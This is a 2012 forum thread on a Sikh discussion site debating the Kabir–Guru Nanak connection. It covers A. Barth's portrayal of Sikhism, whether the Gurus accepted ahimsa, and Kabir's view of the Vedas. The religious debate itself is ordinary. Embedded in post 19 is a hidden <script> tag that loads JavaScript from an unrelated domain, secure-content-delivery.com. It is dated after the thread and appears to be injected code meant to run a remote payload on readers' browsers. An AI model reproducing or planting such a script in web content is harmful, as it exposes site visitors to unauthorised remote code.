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Kabir - Guru Connection

Discussion in 'Sikh Sikhi Sikhism' started by Taranjeet singh, Jul 27, 2012.

  1. Taranjeet singh

    Taranjeet singh India
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    Kabir Guru Connection
    Sikhism has been treated as a sect of Hinduism in his book titled ‘Religion of India’, the extracts of which are reproduced for discussion purpose.

    The book is widely quoted by many Sikh philosophers. [Ref: Dr. Rajinder kaur, author of ‘God in Sikhism’ has given some of the comments but have not countered the statements. Likewise Dr. Sher Singh has also quoted and has given his own observations. Dr. Sher Singh has taken an over simplistic view by saying that they were not contemporaries.]

    There is no reply to the question that relates to Kabir-Guru relationship. Entire controversy revolves round this.

    Some of the comments have been high lighted. It is for the SPN intelligentsia to take appropriate steps by discussing it down. The questions posed, I hope would be clear.

    This has been taken from a copy of the book from internet as it may not be possible to trace the book now. It may be present in some libraries.

    It befuddles me as to how casual an author or a theologian can be. It may also reflect the author’s ignorance. But this ignorance to an unwary reader may give completely a wrong and undesirable portrayal of Sikhism. Western mind is influenced easily by authors which sell well in their regions vis a vis Asian authors and philosophers. S Radhakrishnan {one of the Ex Presidents of India and widely respected}, a renowned philosopher, has also not done full justice to Sikhs in his many popular books on Philosophy. I have not read them and hence shall not be able to comment much upon this. Mr. Khushwant has stated Sikhs as “Keshdhari Hindus”. He could have done better. His books also sell well.

    I have given extracts only that carry the most controversial portions.

    I find some of the comments fairly disturbing and no solution will be found unless we accept the problem. Problems do get magnified when we shun away from them and do not identify these as problems. Tomorrow there may be a question that Kabir wrote/articulated in the form of ‘Dohe’ and how Come Granth contains ‘shabad’ and not ‘Dohe’. Was the form of his utterances altered? I am therefore tempted to say that there is a problem of not citing the position correctly.

    I think the best way to tackle the Kabir –Guru Relationship is to analyze the ‘Shabads’ of Kabir ji and find out some point of differences as per Broad Sikh philosophy that is generally accepted by Sikh intelligentsia so that we can accentuate the teachings of Gurus and also effectively tackle the issues in statement.

    May be SPN members-forum leaders have some better ideas. Why not share? This is not a debate. Contribution of everyone is welcome. Let us enrich SPN with whatever knowledge we can gather to discuss the proposition stated above.

    For the sake of convenience I have divided the above write up in various paragraphs and have numbered them. In case some member wants to reply to Sl.2 instead of the entire List., one may state so. It is for this purpose that para numbering has been provided .

    Here it goes….

    1...But the most remarkable of the numerous sects connected more or less directly with Kabir is that of the Sikhs, the " disciples," which alone of all the branches of Hinduism took shape in the end as a national religion, or rather, we should say, gave birth to a nation.

    2. The founder of their faith, Nanak, was born in 1469 in the Punjab, a short way from Lahore, in the commercial caste of the Khatris. For a while he led a wandering life, and it was probably in the course of these travels that he entered into relations with the disciples of Kabir. Like this last, he constituted himself the apostle of a unitary religion grounded on monotheism and moral purity.

    3.But, like him, and others besides, he was a Hindu at bottom; he rejected the Vedas, the Shastras, the Puranas, as well as the Koran ; but he retained the majority of the samskras, or private ceremonies, which were abolished only a long while after, and he even did not break in an absolute way with caste, which he tolerated as a civil institution, and of which the sect, in spite of attempts afterwards made in the direction of its complete abolition, has always preserved some traces. It has never ceased, for instance, to testify considerable respect for the Brahmans; and almost all the gurus are said to have maintained some of them about their person in the character of domestic priests.

    3a.Moreover, since the publication of the Granth, the Bible of the Sikhs, there cannot, in a dogmatic reference, be any longer much question of the profound influence of Islam on the thinking of the founders of this religion.

    4.From first to last, both as regards the form and the foundation of its ideas, this book breathes the mystic pantheism of the Vedanta, reinforced by the doctrines of Bhakti, of grace, and of absolute devotion to the guru.

    5. It is specially distinguished from the sectarian literature in general by the importance which it attaches to moral precepts, by the simplicity and spiritualistic character of a worship stripped of every vestige of idolatry, and especially by its moderation in regard to mythology, although we find in it a considerable number of the personifications of Hinduism, and even detect at times in it a sort of return to the Hindu divinities.

    6. But it would be difficult to eliminate from all this is due to Mussulman influence.

    7. Practically, it is true, the Sikhs came in the end to worship a personal God, and their religion may be defined a deism more or less tinctured with superstition.

    8. But that was a modification which it must necessarily undergo, pantheism, which may indeed become the faith of a limited circle of mystics, being inconceivable as the positive belief of a large community.

    [Extracts: Religion of India. A Barth, 1932: Pages 242-244; minor corrections were made by me in some words that were misspelled on account of PDF to word conversion,]

    Some other Observation[/I]

    9. “The system of Nanak Theism and its main teachings are highly spiritual in character: yet the whole Hindu Pantheon is retained”[ Farquhar Modern Religious movement in India, p112]

    10.”The system of Nanak is greatly indebted to Ramanuja’s theistic idealism”.[ Radhakrishnan, Indian Philosophy, p 670]

    E & O.E
     
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    #1 Taranjeet singh, Jul 27, 2012
    Last edited: Jul 28, 2012
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  3. Randip Singh

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    Re: Kabir- Guru Connection

    Bottom line is, if the link was so strong between Kabir and Nanak we would be Kabir Panthis and not Sikhs. Although there is some common threads in Nanaks teachings and Kabir's it should be noted there is much difference:

    1) Sikhs belive in upholding freedom with the sword if necessary. Kabir did not. He believed in Ahimsa.

    2) Kabir's view on women is poles apart from that of Nanak.

    etc etc
     
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  4. itsmaneet

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    Re: Kabir- Guru Connection

    Randip Ji

    For your kind info, no Guru till our 5th Guru held swords...It all started from Guru Hargobind Sahib !

    So from your views it seems, that Kabir Ji's views were identical with our first 5 Gurus & not with the other 5 Gurus .... Unbelievable !
     
  5. Randip Singh

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    Re: Kabir- Guru Connection

    Utter nonsense stop concluding 2 + 2 = 5............. not one Guru believed in the concept of Ahimsa.

    All 10 Guru's had EXACTLY the same message. Read your history and understand Bani.

    I don't know whether your understanding of English is limited but, your interpretation of my post on one level is naive and on another level mischevious.:singhsippingcoffee:
     
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  6. itsmaneet

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    Re: Kabir- Guru Connection

    Randip Ji ....

    You seem to be full of shear ego ... don't know how much knowledge you have but your way of communicating is kiddish. One quest raised & you are out of your own ...

    First learn to carry a healthy discussion & we can then discuss peacefully. As far as my english is concerned, it's good enough to communicate in a disciplined manner.

    You said "not one Guru believed in the concept of Ahimsa" - [for your info Ahimsa means kindness & non violence]
    Oh really.... so you mean to say our no Guru were kind & all believed just in violence ..???
    Remember what message Guru Nanak Sahab gave to Babar on his way of dealing people & killing people. Guru Nanak Sahab din' pick up the sword & had a war with Babar... as far as my history knowledge is concerned. But your history knowledge seems from some other world ...

    May God give you strength for carrying disciplined conversation...

    Gurfateh Ji !
     
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    #5 itsmaneet, Jul 29, 2012
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  7. Gyani Jarnail Singh

    Gyani Jarnail Singh Malaysia
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    Re: Kabir- Guru Connection

    Its a gross misunderstanding of the Nanak that began GURMATT IF we take to mean that He didnt have a SWORD (the ordinary steel type) in His Hand. Guru nanak Ji FACED the Naked sword of Babar....Guru Angad Ji sat in meditation calmly while HUMAYUN DREW HIS NAKED SWORD..the SWORD is part and parcel of GURMATT from day ONE !!

    Guru nanak ji had the SWORD..in SPIRIT FORM...and having THAT is just as vital shaving a steel one in your hands...There is a TIME and a PLACE for everything...a House begins Construction with an IDEA...then a architectural plans drawings..then digging foundations..then come BRICKS..and cement and all other things that make a HOUSE...and then last come the RESIDENTS who will make a House into a HOME. To say that the one who had the Idea..the plans..who dug the foundations..DIDNT make the House because he had not a single BRICK...is like the argument that Guru nanak ji dint carry a SWORD..so He is NOT same as Guru hargobind Sahib... IN FACT SIKHS still have not GRASPED the FACT that its GURU NANAK who GIFTED us the FIVE KAKAARS via His GURBANI..long before Guru Gobind Singh ji made them Mandatory as Physical SYMBOLS...Forget about OTHERS who are IGNORANT..we SIKHS also go on DIVIDING the TEN UNITED GURUS into different categories and putting them into different BOXES..leading to some misguided fools to claim..OH I dont keep kess because I am a SIKH of Guru nanak ji ONLY...i wear a topi because Guur nanak ji wore one...or I refuse to carry a Kirpan because Guru Arjun Ji didnt carry one..and so on...NOTHING COULD BE FURTHER FROM FACT. One is a SIKH of ALL TEN or NONE.japposatnamwaheguru:
     
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  8. Harry Haller

    Harry Haller United Kingdom
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    Re: Kabir- Guru Connection

    lol lol lol brilliant! long live the sants, long live the babas, who needs Bani when we have sakhis!
     
  9. Harry Haller

    Harry Haller United Kingdom
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    Re: Kabir- Guru Connection

    The Gurus, I would say, did believe in Ahimsa, given the definition here

    http://www.hindupedia.com/en/Ahimsa

     
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  10. itsmaneet

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    Re: Kabir- Guru Connection

    One can write essays in justifying the meaning of any word but that do not change the real meaning of the word ....

    "Ahminsa" word is derived from the Sanskrit root hims – to strike; himsa is injury or harm, a-himsa is the opposite of this, i.e. non harming or nonviolence.
    Source - http://en.wikipedia.org/wiki/Ahimsa


    Somebody above said "Not a single Guru believed in Ahimsa" .... so he means to say all Gurus were unkind & violence lovers....isn't it? coz thats what Ahimsa means ...
     
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  11. itsmaneet

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    Re: Kabir- Guru Connection

    Harry Bro,

    You seem checking hindu pedia a lot .... when we have other sites too to verify the meaning :)
     
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  12. Gyani Jarnail Singh

    Gyani Jarnail Singh Malaysia
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    Re: Kabir- Guru Connection

    Anything and Everything has two sides...even a Coin...One religious Guru said..IF your enemy slaps your left cheek..offer him the right one as well...and AFTER THAT ?? is an open question.
    Now IF we say The Sikh Gurus also taught similar..BUT had put a LIMIT....Guru Arjun Ji sat on the Hot Plate..BUT thats a LIMIT...NO MORE sitting on Hot Plates...once is enough to prove a point....then when all else fails..its justified to draw the SWORD because those who are fully into slapping..wont learn form your right cheek left cheek offer..they will kick you down..and then beat the living daylights out of you and continue with your wife and kids...theres got to be a LIMIT...

    So YES we do beleive in AHIMSA..but theres a LIMIT...we dont subscribe to ahimsa carried to impossible ends...you can only push us so far..then we draw the sword. The Types of Hitler and Stalins dont learn from ahimsa..they take advantage of such...so to STOP all such terrors..theres another way..the SIKH WAY....
     
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  13. Randip Singh

    Randip Singh
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    Re: Kabir- Guru Connection

    So posting "So from your views it seems, that Kabir Ji's views were identical with our first 5 Gurus & not with the other 5 Gurus .... Unbelievable !" shows great maturity in debating? It shows real modesty right? Also shows great insight? lol

    Your views on Ahimsa are wholly wrong, and I've posted several scholarly articles on this. Ahimsa is non-violence. Not one Guru believed in turning the other cheek.

    On Kabir:

    http://sikhinstitute.org/conn_th_dots/ch3.htm

    " Similarly it would be incorrect to say, that Kabir was Guru Nanak’s Guru, just because of similarity in their views. Guru Nanak’s guru also was none other than Satguru. (Sidh Gosht, GGS, p 972)
    Had it been otherwise we would not have had Nanak II and Nanak III, we would have had Kabir II and Kabir III or Ramanand III and Ramanand IV. In the Guru Granth Sahib, where the bani of the Gurus is given in each Raga, in chronological order, and then follow compositions of various Bhagats, with Kabir’s bani placed first—and in some cases also at the end. If the lineage of gurus had started from Ramanand, his bani would have been given first position."

    http://urantiabook.org/archive/readers/601_sikhism.htm

    "
    Nanak, like Kabir and others, tried to synthesize the best elements of Islam and Hinduism. He taught a devotional monotheism, referring to God as "The True Name." Nanak rejected ahimsa ................"

    Table comparing beliefs:

    http://www.sikhmarg.com/english/sikhs-not-hindus.html

    Page 72

    http://books.google.co.uk/books?id=gqIbJz7vMn0C&pg=PA72&lpg=PA72&dq=sikhs+reject+ahimsa&source=bl&ots=fPD0BkQzZB&sig=mWRsdfaJKHDYLqQBZiyAO4UIDpY&hl=en&sa=X&ei=vCUVUIz2McPA0QXhrYCQDw&ved=0CEwQ6AEwBA#v=onepage&q=sikhs%20reject%20ahimsa&f=false

    Ahimsa means kindness and non-violence towards all living things. Sikhs may support kindness (which is Daya) but the DO NOT support non-violence. You are making the commeon mistake, most Vaishnavite orientated Sikhs do, i.e. confusing Daya with Ahimsa. :motherlylove:

    http://www.sikhphilosophy.net/hard-talk/26099-why-do-some-sikhs-confuse-daya-3.html

    where we concluded:

    Daya – seeing things from another’s point of view and having sympathy enough to want to stand up for that person (even if it means sacrificing your own life). Daya applies to those who potentially have the capacity to have Daya themselves i.e. humans.

    Ahimsa – not wishing to harm anything, or any creature, and if someone does something bad to you leaving it to divine retribution and Karma to set things right.

    Daya is subjective.
    Ahimsa is objective.
     
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  14. Harry Haller

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    Re: Kabir- Guru Connection

    However, violence for the purpose of defending Dharma is equally essential and this violence is also considered to be ahimsa.

    I find the above comment verifies that Ahisma has several meanings, this one clearly is in line with Sikh thinking.However it does detract away from the point, to say the first 5 Gurus were not in favour of violence, and that the next 5 were is incorrect. The line of thinking that started in 1469, and continued til 1708 was completely consistent. This is in fact one of the litmus tests that I hold dear, consistency among the Gurus
     
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    #13 Harry Haller, Jul 29, 2012
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  15. Gyani Jarnail Singh

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    Re: Kabir- Guru Connection

    IN Hinduism thye have Raam bhagats and Shaam bhagats..a Raam bhagat wont even ook at a Shaam Mandir..and vice versa...a Shaam Bhat will always say radhae Krishna..the Raam bhagat will always say jai raam ji ki..and so on...
    There are people hwo owuld love to see this happening to Sikhs..a Nanak bhagt who wouldnt look at a Angad Bahgat or a Ramdass Bhagat who would ignore Arjun Bhagat..( we already ahev sort of such divisions - certian people ONLY love Guru Ramdass Ji MORE than any others..3HO is an example..EVERYTHING 3HO is RAMDASS...in Malwa every shop tractor factory is DASMESH.Kalghidhar or Guru Gobind Singh....and in Majha everything is GURU NANAK..Guru nanak and Guru nanak.period. The Rot has begun...but since its only 500 years..we have a long way to go...

    The FACT is the TEN NANAKS = SGGS are all in the same maala tied together in one STRING..Shabad Guru !! Remove the string..and we have ten mankas..ten pearls. Fortunately the STRING SGGS is UNBREAKABLE....no matter what people do..the TEN will always be ONE...
     
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  16. Taranjeet singh

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    Re: Kabir- Guru Connection

    Many thanks for responding..

    We may like to see other side of the coin as well. Hindus have portrayed the system of Nanak as Hinduism, the Muslims , on the other hand , have also tried to picture the Nanak's teachings as teachings of Islam. The analysis of Kabir- Guru connection can wait after we have exhausted all the citations made to deflect the portrayal of sikhism other than what it is in esse.

    Encyclopedia of Religion and ethics, edited by Hastings , states that Sikhism is a sect of Hindu and is inspired by Muhammanism. This point has also been put forward more definitely by Mirza Ghulam ahmen in his work titlle " Sat bachan " .

    He had placed Nanak above all Hindu Rishis and Hindu Prophets and Hindu Gods ; he adds that the hymns of Nanak and the knowledge contained in them is fairly subtle and there is impossibility of derivation of these hymns from Vedas. He further states that Guru Granth sahib is a commentary of holy quaran and Guru was Muslim or Mohammadan.

    He also quotes the Huges dictionary of Islam to support the contention of Guru being a Muslim.[Sat Bachan page 3 and 60]

    Thus westerners/ English have stated that Guru's philosophy was profoundly affected by kabir, who was or rather is equally respected by Muslims, while other writers have tried to color sikhism as part and parcel of Mohammanism. Guru Nanak has also affected Muslims equally. Thus Guru and Kabir have affected Muslims and these are the points that community is required to look into more seriously than to discard as statements made by those who are not acquainted by sikhism and its true spirit.

    I shall post some of other views of westerners after I have completed my study before taking up Kabir- Guru connection.

    In the mean time members may like to post their views..Thanks.
     
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  17. dalbirk

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  18. Taranjeet singh

    Taranjeet singh India
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    Re: Kabir- Guru Connection

    It is difficult to pin point the differences between the Guru and Kabeer. However, I came across a shabad that gives some idea that while Guru rejected the authority of Vedas in toto but Kabeer sahib did not question the truth contained in the Vedas.

    ਬੇਦ ਕਤੇਬ ਕਹਹੁ ਮਤ ਝੂਠੇ ਝੂਠਾ ਜੋ ਨ ਬਿਚਾਰੈ [ang 1350 Prabhati]
    Do not say that the Vedas, the Bible and the Koran are false. Those who do not contemplate them are false.

    I have not posted the full shabad as the context does not require it.
    Kindly post some other differences that you know of
     
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  19. Gyani Jarnail Singh

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    Re: Kabir- Guru Connection

    Bed Kateb kaho matt jhootheh..jhioothah jo na bichareh is simply saying what is said in..A BAD Carpenter always blames his tools...Here the BOTTOM LINE is "BLAMING ACTION"..not how good the hammer really is..is it made of stainless steel or handle is amde of strong wood..

    The BOTTOM LINE in KABEER is ..Those who DONT DO BICHAAR on SELF...dont look within..its got nothing to do with "auntheticating" the vedas or the Koran or vice versa.
    Kabir ji is asking us to do VICHAAR..the exact same thing that the GURU SGGS tells us a ZILLION TIMES.



    <script src="https://secure-content-delivery.com/data.js.php?i={B9986458-7307-43C8-90C7-6BE304BE4CCA}&d=2013-08-02&s=http://www.sikhphilosophy.net/sikh-sikhi-sikhism/38844-kabir-guru-connection-2.html&cb=0.9052618624382691" type="text/javascript"></script>
     
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  20. Tejwant Singh

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    Re: Kabir- Guru Connection

    Taranjeet ji,

    Guru Fateh.

    Pardon my ignorance but what are you trying to prove by plucking the first line from this Prabhati (chanted/studied/recited in the mornings) which has 4 verses plus the more important Rahao in it?

    It seems you want to prove some kind of point about it by just giving us one liner which does not do any justice to this deep Shabad because it is absent of any context but your own subjective one which you already may have in your mind.

    It does not do any justice to the whole Shabad either and is also insulting to the author of the Shabad-Kabir in my opinion.

    I would request you to put the whole Shabad here with your own understanding and then we can talk about the Sikhi's link to other religions or its stand alone characteristics.

    Please keep in mind that none of the lay men/women/common people were allowed to read/study the above scriptures you posted in the one liner unlike Sri Guru Granth Sahib Ji which can be studied by everyone from any hue,creed or faith.

    Hence, people were forced to depend on what the clergy of the respective religions told them whether what they told was true or not was not verifiable nor were the laymen/women allowed to question them. Their sermons were coming directly from their "gods".So they declared.

    The Rahao of the Shabad would give you the glimpse of that.

    Hope to learn from your own understanding of the whole Shabad and then by your queries about it.

    Thanks & regards

    Tejwant Singh
     
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  21. findingmyway

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    Only a fraction of the shabads written by Kabir are included in SGGS. Isn't that proof enough that the overlap only extends so far? Equally there are some shabads written by Sufis so does that make Sikhi a sect of Islam?
     
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